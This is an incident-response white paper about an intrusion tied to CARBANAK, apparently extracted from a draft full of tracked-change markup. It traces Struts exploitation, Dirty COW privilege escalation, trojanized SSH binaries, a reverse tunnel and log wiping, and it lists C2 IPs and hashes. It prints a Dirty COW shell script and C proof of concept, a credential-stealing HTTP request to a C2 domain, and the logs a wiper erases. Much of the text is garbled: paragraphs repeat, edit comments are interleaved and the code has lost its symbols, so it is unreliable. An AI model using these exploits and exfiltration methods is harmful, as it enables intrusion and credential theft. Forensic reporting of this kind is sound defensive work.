14 Linux.
Sshdoor https://www.symantec.com/security_response/writeup.jsp?docid2013-012808-1032-99 https://www.symantec.com/security_response/writeup.jsp?docid2013-012808-1032-99 WHITE PAPER 11 Figure 6: Download of Winexe via WGET to ALPHA The attackers used credentials taken by the SSHDOOR malware to log in to each of the Windows servers, running the qwinsta.exe and tasklist.exe binaries on each and then logging out.
3.1.4 Phase 4: D3 through D25 Privilege Escalation, Internal Reconnaissance, Persistence, Entrenchment, Lateral Movement The attackers also observed that one of the Windows Domain-authenticated credentials stolen was the service account for the clients authenticated vulnerability scans, and was present in the local sudoers file.
Having determined the current level of access available to them, the attackers decided to download additional tools in order to establish a static entry point into the environment ensuring they could avoid detection.
To accomplish this, the attackers downloaded the PSCAN TCP port scanner and the ALW Advanced Log Wiper binaries and began identifying systems and services accessible from ALPHA.
TheShadowsofGhosts CaseStudy:CARBANAK  Page 14 Figure 6: Download of Winexe via WGET to ALPHA The attackers used credentials taken by the SSHDOOR malware to log in to each of the Windows servers, running the qwinsta.exe and tasklist.exe binaries on each and then logging out.
3.1.4Phase 4: D3 through D25 Privilege Escalation, Internal Reconnaissance, Persistence, Entrenchment, Lateral Movement The attackers also observed that one of the Windows Domain-authenticated credentials stolen was the service account for the clients authenticated vulnerability scans, and was present in the local sudoers file.
Having determined the current level of access available to them, the attackers decided to download additional tools in order to establish a static entry point into the environment ensuring they could avoid detection.
To accomplish this, the attackers downloaded the PSCAN TCP port scanner and the ALW Advanced Log Wiper binaries and began identifying systems and services accessible from ALPHA.
Deleted: Deleted: WHITE PAPER 12 Figure 7: Download of ALW and PSCAN from 95.215.46.116 One of these systems was the Red Hat Satellite server, which is the primary enterprise update server for Red Hat Enterprise Linux (RHEL) deployments.
Given that the Satellite server requires the ability to interact with all other systems under the root user in order to update software, the attackers chose this system as their initial primary staging system.
This system was designated system BRAVO.
From BRAVO, the attackers traversed the Linux environment through stolen credentials and SSH pre-shared keys and conducted internal reconnaissance on any Windows systems within direct network access.
During this time, the attackers strictly contained all malicious files, secondary tools and ingress network communication to the Linux environment.
Additionally, they consistently tested the Struts vulnerability on host ALPHA to ensure the initial method of compromise was open, and to alert them to any possible remediation of that system.
3.1.5 Phase 5: D25 through D30 Disruption, Adaptive Action, Entrenchment, Lateral Movement, Persistence The discovery of the Struts vulnerability on host ALPHA, and its subsequent remediation, gave the attackers a moment of pause, and they migrated a copy of the SSHDOOR client and server to the centralized Syslog server, along with a copy of WINEXE, the ALW Log Wiper and their own SSH pre-shared key, all of which they had installed on seven key systems at this point.
They TheShadowsofGhosts CaseStudy:CARBANAK  Page 15 Figure 7: Download of ALW and PSCAN from 95.215.46.116 One of these systems was the Red Hat Satellite server, which is the primary enterprise update server for Red Hat Enterprise Linux (RHEL) deployments.
Given that the Satellite server requires the ability to interact with all other systems under the root user in order to update software, the attackers chose this system as their initial primary staging system.
This system was designated system BRAVO.
From BRAVO, the attackers traversed the Linux environment through stolen credentials and SSH pre-shared keys and conducted internal reconnaissance on any Windows systems within direct network access.
During this time, the attackers strictly contained all malicious files, secondary tools and ingress network communication to the Linux environment.
Additionally, they consistently tested the Struts vulnerability on host ALPHA to ensure the initial method of compromise was open, and to alert them to any possible remediation of that system.
3.1.5Phase 5: D25 through D30 Disruption, Adaptive Action, Entrenchment, Lateral Movement, Persistence The discovery of the Struts vulnerability on host ALPHA, and its subsequent remediation, gave the attackers a moment of pause, and they migrated a copy of the SSHDOOR client and server to the centralized Syslog server, along with a copy of WINEXE, the ALW Log Wiper and their own SSH pre-shared key, all of which they had installed on seven key systems at this point.
They utilized the ALW log wiper on the Syslog server, designated system CHARLIE, in order to remove any log traces of their activities to date at the centralized source and hinder any follow- Deleted: Deleted: Deleted: Comment [A29]: Contained?
Deleted: , Deleted: Deleted: , Deleted: Deleted: WHITE PAPER 13 utilized the ALW log wiper on the Syslog server, designated system CHARLIE, in order to remove any log traces of their activities to date at the centralized source and hinder any follow-on investigations.
The attackers would use system CHARLIE as their primary Linux egress point for the rest of the incident, though they would ensure that the SSHDOOR binaries remained on BRAVO as a backup ingress mechanism.
Additionally, they downloaded the AUDITUNNEL Reverse Tunneling tool to host CHARLIE and began using this as their primary method of ingress to the Linux environment.
This was assumedly done to transition to a new ingress method should any investigation around the remediation of ALPHA identify the SSHDOOR malware.
Figure 8: AUDITUNNEL Download from 95.215.46.116 To ensure they could retain access, they replaced SSHDOOR with AUDITUNNEL on four of the key systems.
They ceased any significant operation into the environment until D29, at which time both the SSHDOOR and AUDITUNNEL ingress methods were still operational.
On D30, the attackers migrate into the Windows server environment proper to find an appropriate staging system to install malware and begin staging ingress within the Windows environment.
After three failed attempts, the attackers find a Windows Domain Controller with Internet access, designated system DELTA.
3.1.6 Phase 6: D30 through D44 Lateral Movement, Persistence, Entrenchment, Internal Reconnaissance, Credential Harvesting Once firmly on DELTA, the attackers downloaded and installed the GOTROJ malware as their primary method of ingress into the Windows environment.
At this point, they have secured nine methods of ingress into the environment across three different ingress methods.
In order to ensure ingress via the GOTROJ channel, the actors execute the malware into memory on three additional systems, putting the system ingress count at twelve systems.
Once the malware is persistent and tested on DELTA, the attackers download a Windows version of WGET and the TINYP lateral movement tool to system DELTA and begin traversing the Windows environment.
As they move through TheShadowsofGhosts CaseStudy:CARBANAK  Page 16 on investigations.
The attackers would use system CHARLIE as their primary Linux egress point for the rest of the incident, though they would ensure that the SSHDOOR binaries remained on BRAVO as a backup ingress mechanism.
Additionally, they downloaded the AUDITUNNEL Reverse Tunneling tool to host CHARLIE and began using this as their primary method of ingress to the Linux environment.
This was assumedly done to transition to a new ingress method should any investigation around the remediation of ALPHA identify the SSHDOOR malware.
Figure 8: AUDITUNNEL Download from 95.215.46.116 To ensure they could retain access, they replaced SSHDOOR with AUDITUNNEL on four of the key systems.
They ceased any significant operation into the environment until D29, at which time both the SSHDOOR and AUDITUNNEL ingress methods were still operational.
On D30, the attackers migrate into the Windows server environment proper to find an appropriate staging system to install malware and begin staging ingress within the Windows environment.
After three failed attempts, the attackers find a Windows Domain Controller with Internet access, designated system DELTA.
3.1.6Phase 6: D30 through D44 Lateral Movement, Persistence, Entrenchment, Internal Reconnaissance, Credential Harvesting Once firmly on DELTA, the attackers downloaded and installed the GOTROJ malware as their primary method of ingress into the Windows environment.
At this point, they have secured nine methods of ingress into the environment across three different ingress methods.
In order to ensure ingress via the GOTROJ channel, the actors execute the malware into memory on three additional systems, putting the system ingress count at twelve systems.
Once the malware is persistent and tested on DELTA, the attackers download a Windows version of WGET and the TINYP lateral movement tool to system DELTA and begin traversing the Windows environment.
As they move through the environment, they download a secondary version of TINYP, a host reconnaissance tool called INFOS, a process listing tool called CCS, a custom version of MIMIKATZ, a Windows version of the previously mentioned PSCAN scanner, and the PuTTY Secure Copy tool called PSCP.
Deleted: Deleted: Deleted: Deleted: Deleted: Deleted: Comment [A30]: reference Comment [A31]: No reference to be had.
Ive researched for months and months, and as best I can tell, we are the first to see this.
During engagement, had 4 hour argument with Symantec, who swore it was not malware.
Also, I suck at naming things, which is why PNGRAT is called PNGRAT Deleted: Deleted: Deleted: WHITE PAPER 14 the environment, they download a secondary version of TINYP, a host reconnaissance tool called INFOS, a process listing tool called CCS, a custom version of MIMIKATZ, a Windows version of the previously mentioned PSCAN scanner, and the PuTTY Secure Copy tool called PSCP.
Figure 9: Windows Toolset Download of WGET, TINYP, INFOS, CCS, MIMIKATZ, PSCP and PSCAN During this time, it becomes quickly apparent that the attackers are targeting critical financial data, based on commands, string searches and lateral movement decisions conducted by the attackers.
This continues until D43/ D44, at which time a coordinated expulsion event took place and post- remediation activities began.
3.2 DETECTION AND RESPONSE The client contacted RSA IR when system administrators observed anomalies associated with the root user on system ALPHA during remediation.
These anomalies were brought to the attention of client security personnel.
The CVE-2017-5638 vulnerability present on system ALPHA was identified 25 days (D25) after the initial compromise when hundreds of thousands of successful vulnerability scanning and exploit sessions against the system were observed.
The vulnerability was determined to have been introduced by an out-of-band source installation of an affected version of Apache Struts, which had been installed by the web developers.
While the organization had taken the necessary steps to remediate and patch all systems reported vulnerable to CVE-2017-5638, the vulnerable web page on system ALPHA was not detected due to the web server and operating system reporting that the affected package was not installed.
Based on the extensive number of successful exploit attempts that ranged from the return of a pre-defined character string to successful downloading and execution of malicious code, system ALPHA was removed from service, a forensic image was obtained for in-depth analysis and the system was restored and remediated.
The forensic image was made TheShadowsofGhosts CaseStudy:CARBANAK  Page 17 Figure 9: Windows Toolset Download of WGET, TINYP, INFOS, CCS, MIMIKATZ, PSCP and PSCAN During this time, it becomes quickly apparent that the attackers are targeting critical financial data, based on commands, string searches and lateral movement decisions conducted by the attackers.
This continues until D43/D44, at which time a coordinated expulsion event took place and post-remediation activities began.
3.2 Detection and Response The client contacted RSA IR when system administrators observed anomalies associated with the root user on system ALPHA during remediation.
These anomalies were brought to the attention of client security personnel.
The CVE-2017-5638 vulnerability present on system ALPHA was identified 25 days (D25) after the initial compromise when hundreds of thousands of successful vulnerability scanning and exploit sessions against the system were observed.
The vulnerability was determined to have been introduced by an out-of-band source installation of an affected version of Apache Struts, which had been installed by the web developers.
While the organization had taken the necessary steps to remediate and patch all systems reported vulnerable to CVE-2017-5638, the vulnerable web page on system ALPHA was not detected due to the web server and operating system reporting that the affected package was not installed.
Based on the extensive number of successful exploit attempts that ranged from the return of a pre-defined character string to successful downloading and execution of malicious code, system ALPHA was removed from service, a forensic image was obtained for in-depth analysis and the system was restored and remediated.
The forensic image was made available to RSA IR upon engagement of services, with RSA IR beginning threat hunting actions and follow- on investigations on D35.
During threat hunting operations conducted in concert with client analysts, RSA IR identified increasingly suspect outbound binary and administrative network communication being Deleted: , Deleted: , Deleted: Deleted: Deleted: Deleted: Deleted: Deleted: , WHITE PAPER 15 available to RSA IR upon engagement of services, with RSA IR beginning threat hunting actions and follow-on investigations on D35.
During threat hunting operations conducted in concert with client analysts, RSA IR identified increasingly suspect outbound binary and administrative network communication being conducted with external internet hosts.
Specifically, RSA IR observed the GOTROJ traffic communicating outbound to IP 107.181.246.146, and client analysts observed the PSEXESVC.exe service binary present and executing on system DELTA.
Both of these initial findings are shown in Figure 10 and Figure 11, respectively.
Figure 10: Initial Finding of GOTROJ Communications with Suspect Meta Figure 11: Initial Finding of TINYP Lateral Movement Correlation of these suspect security events was declared an incident on D35, with RSA IR being immediately engaged for incident response services.
At this point in the intrusion, the attackers had just entered Stage 5, as described in Section 3.1.5.
Utilizing RSA NetWitness Logs and Packets for network visibility, RSA IR identified all network communication channels utilized by the attackers for the duration of the incident.
This assisted greatly in conducting root cause analysis and intrusion scoping, as a significant amount of host forensic artifacts had been destroyed, bypassed or made unusable by the attackers.
TheShadowsofGhosts CaseStudy:CARBANAK  Page 18 conducted with external internet hosts.
Specifically, RSA IR observed the GOTROJ traffic communicating outbound to IP 107.181.246.146, and client analysts observed the PSEXESVC.exe service binary present and executing on system DELTA.
Both of these initial findings are shown in Figure 10 and Figure 11, respectively.
Figure 10: Initial Finding of GOTROJ Communications with Suspect Meta Figure 11: Initial Finding of TINYP Lateral Movement Correlation of these suspect security events was declared an incident on D35, with RSA IR being immediately engaged for incident response services.
At this point in the intrusion, the attackers had just entered Stage 5, as described in Section 3.1.5.
Utilizing RSA NetWitness Logs and Packets for network visibility, RSA IR identified all network communication channels utilized by the attackers for the duration of the incident.
This assisted Deleted: Internet Deleted: Deleted: Comment [A32]: branding Comment [A33]: branding Deleted: Incident Deleted: Response Deleted: Deleted: TheShadowsofGhosts CaseStudy:CARBANAK  Page 18 conducted with external internet hosts.
Specifically, RSA IR observed the GOTROJ traffic communicating outbound to IP 107.181.246.146, and client analysts observed the PSEXESVC.exe service binary present and executing on system DELTA.
Both of these initial findings are shown in Figure 10 and Figure 11, respectively.
Figure 10: Initial Finding of GOTROJ Communications with Suspect Meta Figure 11: Initial Finding of TINYP Lateral Movement Correlation of these suspect security events was declared an incident on D35, with RSA IR being immediately engaged for incident response services.
At this point in the intrusion, the attackers had just entered Stage 5, as described in Section 3.1.5.
Utilizing RSA NetWitness Logs and Packets for network visibility, RSA IR identified all network communication channels utilized by the attackers for the duration of the incident.
This assisted Deleted: Internet Deleted: Deleted: Comment [A32]: branding Comment [A33]: branding Deleted: Incident Deleted: Response Deleted: Deleted: WHITE PAPER 16 Additionally, the use of this level of visibility allowed RSA IR to conduct network protocol analysis on the command and control (C2) communication payloads, which led to the capability to decrypt attacker C2 communications within minutes of their occurrence.
This level of visibility into attacker activity greatly assisted in containment, eradication and remediation efforts, which concluded on D44.
Upon conclusion of the incident, RSA IR determined that the attackers had accessed 154 systems, the majority of which were accessed laterally via ingress channels established on systems ALPHA, BRAVO, CHARLIE and DELTA.
Follow-on analysis of acquired host, network and disk forensic data occurred in parallel with continuous monitoring and Threat Hunting operations until incident closure on D74.
Utilizing RSA NetWitness Endpoint for host visibility, RSA IR was able to observe and track specific behavioral indicators of compromise (IOCs) identifying attacker activity within the environment.
As the attackers were particularly careful to remove all traces of their activity upon completion and ensure their tools were on disk while in use, many traditional artifacts or log-based incident response and forensics methodologies would have been ineffective in identifying, investigating and responding to these attackers methods.
However, utilizing RSA NetWitness Endpoint in concert with RSA NetWitness Logs and Packets allowed RSA IR to use the attackers methods as IOCs, such as specific file download methods with subsequent deletions, specific command-line arguments used by the attackers for lateral movement, and specific Windows user status command executions.
WHITE PAPER 17 4.
INTRUSION DETAILS 4.1 INITIAL COMPROMISE: APACHE STRUTS2 In late March of 2017, in the midst of several hundred thousand external vulnerability scanning attempts, an attacker using the IP address of 185.117.88.97 executed an HTTP request against system ALPHA and exploited the Apache Struts Content-Type remote command execution vulnerability, CVE-2017-5638, in order to download and execute a Perl script named b from the IP address 95.215.45.116.
Due to retention at the time of analysis, neither the Perl script nor the complete command used to initiate the download was obtained.
Actions during this time were observed by network metadata creation.
Almost six minutes later, system ALPHA began communicating with IP address 95.216.45.116 via IRC over TCP port 80.
This was the initial method of direct system communication utilized by the actors, in which they began immediate attempts to escalate privilege to the root user.
4.2 LINUX COMPROMISE AND MALICIOUS FILES 4.2.1  Dirty COW Driver Script and Kre80r Proof of Concept Code Since the privilege-separation account for the web application server was not sufficient for follow-on actions, the attackers downloaded a shell script named 1.sh that exploited the Dirty COW Linux Kernel Privilege Escalation vulnerability, CVE-2016-5165, from IP address 185.61.148.145.
The other downloaded file was a modified version of the PTRACE_POKEDATA variant of CVE-2016-5195 POC code written by GitHub user KrE80r.
.
The contents of both files are shown in Figure 12 and Figure 13, with the detection of this activity shown in RSA NetWitness Suite in Figure 14.
/bin/bash /bin/cp /bin/bash /tmp/sbash /bin/chmod 4755 /tmp/sbash EOF chmod x /tmp/x ./cow echo trying... sleep 2 while true do echo  /dev/tcp/0/22 if [ -f /tmp/sbash ] then killall -9 cow rm -f /tmp/x cow cow.c /tmp/sbash -p -c rm -f /usr/sbin/sshd cp /tmp/sshd.bak /usr/sbin/ sshdchown     0:0 /usr/sbin/sshdchmod x /usr/sbin/sshdid WHITE PAPER 18 /tmp/sbash -p exit else echo trying... killall -9 cow ./cow sleep 0.2 fi done Figure 12: Contents of 1.sh Dirty COW Shell Script include fcntl.h include pthread.h include sys/mman.h include sys/stat.h include sys/wait.h include sys/ptrace.h include unistd.h int f void map pid_t pid pthread_t pth struct stat st char suid_binary[]  /usr/sbin/sshd unsigned char shell_code[]  /tmp/x\n unsigned int sc_len  9 void madviseThread(void arg) int i,c0 for(i0i200000i) cmadvise(map,100,MADV_DONTNEED)  int main(int argc,char argv[]) fopen(suid_binary,O_RDONLY) fstat(f,st) mapmmap(NULL,st.st_sizesizeof(long),PROT_READ,MAP_PRIVATE,f,0) pidfork() if(pid) waitpid(pid,NULL,0) int i,o,c0,lsc_len for(i0i100000i) for(o0olo) cptrace(PTRACE_POKETEXT,pid,mapo,((long)(shell_codeo)))  WHITE PAPER 19 else pthread_create(pth, NULL, madviseThread, NULL) ptrace(PTRACE_TRACEME) kill(getpid(),SIGSTOP) pthread_join(pth,NULL)  return 0  Figure 13: Contents of c0w Dirty COW Source Code Figure 14: Observed Download of 1.sh and c0w from IP 185.61.148.145 Both files were obtained via the legitimate WGET utility already present on the system.
This would continue to be the attackers primary method of acquiring tools throughout this engagement.
As such, the direct-to-IP address acquisition of tools before execution became an effective actionable IOC to track the adversary throughout this engagement.
An example of this activity as seen in RSA NetWitness Logs and Packets is shown in Figure 15.
Figure 15: WGET Download of SSHDoor Binary ssh TheShadowsofGhosts CaseStudy:CARBANAK  Page 22 Figure 13: Contents of c0w Dirty COW Source Code Figure 14: Observed Download of 1.sh and c0w from IP 185.61.148.145 Both files were obtained via the legitimate WGET utility already present on the system.
This would continue to be the attackers primary method of acquiring tools throughout this engagement.
As such, the direct-to-IP address acquisition of tools before execution became an effective actionable IOC to track the adversary throughout this engagement.
An example of this activity as seen in RSA NetWitness Logs and Packets is shown in Figure 15.
Figure 15: WGET Download of SSHDoor Binary ssh 4.2.2  SSHDoor Client and Server Shortly after successfully executing the downloaded privilege escalation code, the attackers again utilized WGET to download three additional binaries from IP address 95.215.46.116 named ssh, sshd and auditd.
The ssh binary was a trojanized version of the OpenSSH 5.3p1 client binary, with the sshd binary a trojanized version of the server binary.
These backdoors are Comment [A35]: branding Deleted: .
Deleted: Deleted: attackers Deleted: , Deleted: Deleted: TheShadowsofGhosts CaseStudy:CARBANAK  Page 22 Figure 13: Contents of c0w Dirty COW Source Code Figure 14: Observed Download of 1.sh and c0w from IP 185.61.148.145 Both files were obtained via the legitimate WGET utility already present on the system.
This would continue to be the attackers primary method of acquiring tools throughout this engagement.
As such, the direct-to-IP address acquisition of tools before execution became an effective actionable IOC to track the adversary throughout this engagement.
An example of this activity as seen in RSA NetWitness Logs and Packets is shown in Figure 15.
Figure 15: WGET Download of SSHDoor Binary ssh 4.2.2  SSHDoor Client and Server Shortly after successfully executing the downloaded privilege escalation code, the attackers again utilized WGET to download three additional binaries from IP address 95.215.46.116 named ssh, sshd and auditd.
The ssh binary was a trojanized version of the OpenSSH 5.3p1 client binary, with the sshd binary a trojanized version of the server binary.
These backdoors are Comment [A35]: branding Deleted: .
Deleted: Deleted: attackers Deleted: , Deleted: Deleted: WHITE PAPER 20 4.2.2 SSHDoor Client and Server Shortly after successfully executing the downloaded privilege escalation code, the attackers again utilized WGET to download three additional binaries from IP address 95.215.46.116 named ssh, sshd and auditd.
The ssh binary was a trojanized version of the OpenSSH 5.3p1 client binary, with the sshd binary a trojanized version of the server binary.
These backdoors are variants of the SSHDOOR Trojan that was observed and reported in 2013.15 While the previously observed SSHDOOR used an XOR scheme to store an SSH pre-shared key and its HTTP Request Format Strings, this version used RC4 encryption to store the same information.
The decrypted SSH pre-shared key and HTTP Format Strings are shown in Figure 16.
Figure 16: RC4 Decrypted authorized_keys Entry and HTTP Format Strings As was the case with the previous version of SSHDOOR, upon successful authentication using the client or server binary, the authenticated credentials are sent to the attacker via HTTP GET Request.
In the case of these binaries, the source hosts MAC address would be normalized to lowercase and included in the first key-value pair of the URI, with the username, password and destination hostname and IP address encoded into a Base64 string and placed in the second key-value pair of the URI.
These HTTP requests would TheShadowsofGhosts CaseStudy:CARBANAK  Page 23 variants of the SSHDOOR Trojan that was observed and reported in 2013.15 While the previously observed SSHDOOR used an XOR scheme to store an SSH pre-shared key and its HTTP Request Format Strings, this version used RC4 encryption to store the same information.
The decrypted SSH pre-shared key and HTTP Format Strings are shown in Figure 16.
Figure 16: RC4 Decrypted authorized_keys Entry and HTTP Format Strings As was the case with the previous version of SSHDOOR, upon successful authentication using the client or server binary, the authenticated credentials are sent to the attacker via HTTP GET Request.
In the case of these binaries, the source hosts MAC address would be normalized to lowercase and included in the first key-value pair of the URI, with the username, password and destination hostname and IP address encoded into a Base64 string and placed in the second key-value pair of the URI.
These HTTP requests would be sent to the C2 domains of centos- repo.org or slpar.org, depending on the version of the binary executed.
An example of this is shown in Figure 17.
15 Duquette Linux/SSHDoor.
A Backdoored SSH daemon that steals passwords https://www.welivesecurity.com/2013/01/24/linux-sshdoor-a-backdoored-ssh-daemon-that- steals-passwords/ Deleted: Trojan Deleted: Deleted: Comment [A36]: branding Deleted: Deleted: , Deleted: Deleted: 15 Duquette Linux/SSHDoor.
A Backdoored SSH daemon that steals passwords https:// www.welivesecurity.com/2013/01/24/linux-sshdoor-a-backdoored-ssh-daemon-that- stealspasswords/ https://www.welivesecurity.com/2013/01/24/linux-sshdoor-a-backdoored-ssh-daemon-that-steals-passwords/ https://www.welivesecurity.com/2013/01/24/linux-sshdoor-a-backdoored-ssh-daemon-that-steals-passwords/ https://www.welivesecurity.com/2013/01/24/linux-sshdoor-a-backdoored-ssh-daemon-that-steals-passwords/ WHITE PAPER 21 be sent to the C2 domains of centos-repo.org or slpar.org, depending on the version of the binary executed.
An example of this is shown in Figure 17.
GET /?cid000c29450e28textcm9vdCAtPiBUaGlzSXNZb3VyUGFzc3dvcm Q6cm9vdEAxOTIuMTY4LjE2My4xODUK HTTP/1.0 Host: centos-repo.org Red text  MAC address of affected system (lowercase normalized) Blue text  Base64 Username:Password representation.
Decoded Base64 String: root - ThisIsYourPassword:root192.168.163.185 Figure 17: Credential Harvesting HTTP Request Additionally, both versions of SSHDOOR allow unauthorized access when authenticated with the decrypted SSH pre-shared key.
These trojanized binaries allowed the attackers to gain additional credentials that would assist them in moving laterally into the internal server environment.
The authorized_hosts entry the attackers utilized with the SSHDOOR binary is shown in Figure 18.
ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDAkqHYDX7rAoj6DNKLe4e 7a7XFrbMRErtd6y/shqDaxSMMlXAfK6P2OQE9FmPPLDWjgkDgSyOvC0g TyghdGYdgKMV4DnhFiMMt4atOWwI86w71q9SEVGKKGVWLhIaCn GpWkWQmGGGnCOHbLezhLTnv98wscNdZLVafTOM/HqWkRcpr2XTO Phag/6FsXQsMKnJOZqloG5MWwdaYyIXBYEGRCA103MPmimW2jq Y91JxQ7xEeD4XB1s9gNakHuQsDNNYY63kfiG8UAbOGQq 88mpsB32Ofjz6qdAgYPzBZzCoMnvhtDSTyKPYjoeDEHXMWZU /3PZbjuejbM8v5F9FiH4p  centos-repo.org Figure 18: Pre-Shared SSH Key Used by SSHDOOR The file information for the SSHDOOR client and server binaries with the C2 address of centos-repo.org are shown in Table 1 and Table 2, respectively.
File Name   : ssh File Size       : 1,180,393 bytes MD5             : 0810d239169a13fc0e2e53fc72d2e5f0 SHA1            : 60a0c1042644cdc8189af1917cb14278f64f17e8 Table 1: File Information for the SSHDOOR Client Binary (centos-repo.org) File Name   : sshd File Size       : 1,614,981 bytes MD5             : d66e31794836dfd2c344d0be435c6d12 SHA1            : a065244522b6b26c033dfbc3383b93dba776c37d Table 2: File Information for the SSHDOOR Server Binary (centos-repo.org) WHITE PAPER 22 The file information for the SSHDOOR client and server binaries with the C2 address of slpar.org are shown in Table 3 and Table 4, respectively.
File Name   : ssh File Size       : 1,180,521 bytes MD5             : a365fd9076af4d841c84accd58287801 SHA1            : ba2f90f85cada4be24d925cbff0c2efea6e7f3a8 Table 3: File Information for SSHDOOR Client Binary (slpar.org) File Name   : sshd File Size       : 1,614,437 bytes MD5             : 9e2e4df27698615df92822646dc9e16b SHA1            : 96e56c39f38b4ef5ac4196ca12742127f286c6fa Table 4: File Information for SSHDOOR Server Binary (slpar.org) 4.2.3 AudiTunnel The AUDITUNNEL binary is a reverse tunneling tool similar in functionality to netcat, but with support for multiple tunnels, Socks5 proxy and XOR encoded communication.
It was downloaded, along with the SSHDOOR binaries from 95.215.46.116, under the name auditd.
Upon execution, it creates a TCP socket and connects to C2 IP address 95.215.46.116 over TCP/443, creating a reverse tunnel to allow access to the victim server.
Once the connection was made, AUDITUNNEL would keep the connection alive to allow inbound or outbound connectivity through this tunnel.
In order to better hide its network activity, this utility would XOR all data passed through the tunnel with a key of 0x41.
This binary is also able to communicate via the Socks5 protocol using Basic authentication.
These three binaries proved to be the attackers primary method of ingress and credential harvesting for the first half of the incident.
An example of the XOR network traffic associated with AUDITUNNEL is shown in Figure 19.
Figure 19: XOR 0x41 Traffic for AudiTunnel TheShadowsofGhosts CaseStudy:CARBANAK  Page 25 MD5             : a365fd9076af4d841c84accd58287801 SHA1            : ba2f90f85cada4be24d925cbff0c2efea6e7f3a8 Table 3: File Information for SSHDOOR Client Binary (slpar.org) File Name       : sshd File Size       : 1,614,437 bytes MD5             : 9e2e4df27698615df92822646dc9e16b SHA1            : 96e56c39f38b4ef5ac4196ca12742127f286c6fa Table 4: File Information for SSHDOOR Server Binary (slpar.org) 4.2.3  AudiTunnel The AUDITUNNEL binary is a reverse tunneling tool similar in functionality to netcat, but with support for multiple tunnels, Socks5 proxy and XOR encoded communication.
It was downloaded, along with the SSHDOOR binaries from 95.215.46.116, under the name auditd.
Upon execution, it creates a TCP socket and connects to C2 IP address 95.215.46.116 over TCP/443, creating a reverse tunnel to allow access to the victim server.
Once the connection was made, AUDITUNNEL would keep the connection alive to allow inbound or outbound connectivity through this tunnel.
In order to better hide its network activity, this utility would XOR all data passed through the tunnel with a key of 0x41.
This binary is also able to communicate via the Socks5 protocol using Basic authentication.
These three binaries proved to be the attackers primary method of ingress and credential harvesting for the first half of the incident.
An example of the XOR network traffic associated with AUDITUNNEL is shown in Figure 19.
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Deleted: Deleted: Deleted: Deleted: Deleted: Deleted: attackers Deleted: Comment [A37]: branding WHITE PAPER 23 After the attackers observed little change to their malware C2 channels once system ALPHA was remediated, the attackers quickly moved to system CHARLIE, the Linux Syslog server.
This allowed them a communication channel to all other systems within the Linux environment, as well as allowing the attackers to control both centralized and local log entries across all Linux systems accessed.
At this time, the attackers moved the majority of their toolset to CHARLIE, leaving only the SSHDOOR server binary on system ALPHA for further credential harvesting.
The Syslog server would remain one of their primary staging points throughout the rest of the incident.
The file information for AUDITUNNEL is shown in Table 5.
File Name   : auditd File Size       : 21,616 bytes MD5             : b57dc2bc16dfdb3de55923aef9a98401 SHA1            : 1d3501b30183ba213fb4c22a00d89db6fd50cc34 Table 5: File Information for AUDITUNNEL 4.3 LINUX SECONDARY ATTACKER TOOLS The attackers downloaded additional tools from IP address 95.215.46.116 for the purposes of conducting internal reconnaissance and moving laterally between the Linux and Windows environments.
These tools included the WINEXE version 1.1 remote command execution utility, a version of the ALW Advanced Log Wiper posted by security40bscurity at 0xbscured.net posted to Pastebin on July 7, 2015, and SecPoints PSCAN multithreaded IP port scanner.
With these tools, the attackers traversed the internal network beginning with the shortest hop points first and migrating outward.
Example executions of each of these tools are shown in Figure 20 through Figure 23.
4.3.1 Winexe WINEXE is the Windows Remote Command Execution tool for Linux.
Its functionality is very similar to that of SysInternals PSEXEC, including the creation of a Windows service and file transfer of a service binary into the ADMIN Windows SMB shared location (C:\Windows).
As is described in Figure 20, the command line options are very similar to that of PSEXEC as well.
WHITE PAPER 24 TheShadowsofGhosts CaseStudy:CARBANAK  Page 27 Figure 20: Usage Message for WINEXE Binary The file information for WINEXE is shown in Table 6.
File Name       : winexe File Size       : 8,126,714 bytes MD5             : edce844a219c7534e6a1e7c77c3cb020 SHA1            : 286bf53934aa33ddf220d61c394af79221a152f1 Figure 20: Usage Message for WINEXE Binary The file information for WINEXE is shown in Table 6.
File Name   : winexe File Size       : 8,126,714 bytes MD5             : edce844a219c7534e6a1e7c77c3cb020 SHA1            : 286bf53934aa33ddf220d61c394af79221a152f1 Table 6: File Information for WINEXE 4.3.2 ALW (Advanced Log Wiper, l) The ALW Advanced Log Wiper was initially downloaded to system BRAVO early in the intrusion as a method of removing specific indications of attacker activities from Linux host logs.
ALW was originally written by security40bscurity and posted to Pastebin on July 7, 2015.
This binary takes WHITE PAPER 25 TheShadowsofGhosts CaseStudy:CARBANAK  Page 28 Table 6: File Information for WINEXE 4.3.2  ALW (Advanced Log Wiper, l) The ALW Advanced Log Wiper was initially downloaded to system BRAVO early in the intrusion as a method of removing specific indications of attacker activities from Linux host logs.
ALW was originally written by security40bscurity and posted to Pastebin on July 7, 2015.
This binary takes four arguments: the user to remove from the target logs, the host to remove from the target logs, a specific terminal TTY value to remove from the target logs, or a specific target log file to remove.
The usage message for this binary is shown in Figure 21.
Figure 21: Usage Message for l Advanced Log Wiper If no file argument is given, ALW will remove all log entries with the specified user, host or TTY from the following logs: Logs Modified by ALW utmp wtmp last /var/log/secure /var/log/auth.log /var/log/messages /var/log/audit/audit.log /var/log/httpd-access.log /var/log/httpd-error.log /var/log/xferlog Table 7: Logs Modified by ALW Log Wiper The file information for ALW is shown in Table 8.
File Name       : l File Size       : 16,333 bytes MD5             : 771fa63231fb42ee97aa17818a53f432 SHA1            : 149a9270d9160120229b7c088975c2754e3b5333 Table 8: File Information for ALW 4.3.3PSCAN The PSCAN binary found on host BRAVO is a TCP port scanning tool that attempts to create TCP socket connections to a specified port for every IP within a specified range.
This functionality allows the attacker to check if specific commonly used ports are open for communication in Deleted: Deleted: Deleted: Comment [A39]: Should the forward slash be deleted?
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Formatted: Font:Bold Deleted: , Formatted: Font:Bold Deleted: four arguments: the user to remove from the target logs, the host to remove from the target logs, a specific terminal TTY value to remove from the target logs, or a specific target log file to remove.
The usage message for this binary is shown in Figure 21.
Figure 21: Usage Message for l Advanced Log Wiper If no file argument is given, ALW will remove all log entries with the specified user, host or TTY from the following logs: Logs Modified by ALW utmp wtmp last /var/log/secure /var/log/auth.log /var/log/messages /var/log/audit/audit.log /var/log/httpd-access.log /var/log/httpd-error.log /var/log/xferlog Table 7: Logs Modified by ALW Log Wiper The file information for ALW is shown in Table 8.
